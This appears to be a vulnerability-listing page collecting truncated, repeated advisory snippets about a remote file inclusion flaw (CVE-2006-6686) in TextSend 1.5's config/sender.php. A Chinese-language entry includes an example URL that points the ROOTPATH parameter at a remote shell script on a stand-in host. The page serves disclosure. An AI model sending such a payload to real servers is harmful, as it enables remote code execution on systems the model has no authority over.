TextSend <= 1.5 (config/sender.php) Remote File Include Vulnerability

No description provided by source. +------------------------------------------------------------------------------------------- + TextSend = 1.5 config/sender.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendo...

TextSend Sender.PHP远程文件包含漏洞

TextSend是一款基于PHP的WEB应用程序。 TextSend不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'Sender.PHP'脚本对用户提交的'ROOTPATH'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 TextSend TextSend 1.5 目前没有解决方案提供： http://www.textsend.info/ http://www.example.com/config/sender.php?ROOTPATH=http://example2.com/shell.php?...

TextSend &lt;= 1.5 (config/sender.php) Remote File Include Vulnerability

No description provided by source. +------------------------------------------------------------------------------------------- + TextSend = 1.5 config/sender.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendo...

CVE-2006-6686

PHP remote file inclusion vulnerability in sender.php in Carsen Klock TextSend 1.5 allows remote attackers to execute arbitrary PHP code via a URL in the ROOTPATH parameter...

CVE-2006-6686

PHP remote file inclusion vulnerability in sender.php in Carsen Klock TextSend 1.5 allows remote attackers to execute arbitrary PHP code via a URL in the ROOTPATH parameter...

TextSend &lt;= 1.5 &#40;config/sender.php&#41; Remote File Include Vulnerability

+------------------------------------------------------------------------------------------- + TextSend = 1.5 config/sender.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendor ............:...

TextSend 1.5 - configsender.php Remote File Inclusion

TextSend 1.5 - configsender.php Remote File Inclusion +------------------------------------------------------------------------------------------- + TextSend +------------------------------------------------------------------------------------------- + Details: + TextSend config/sender.php does n...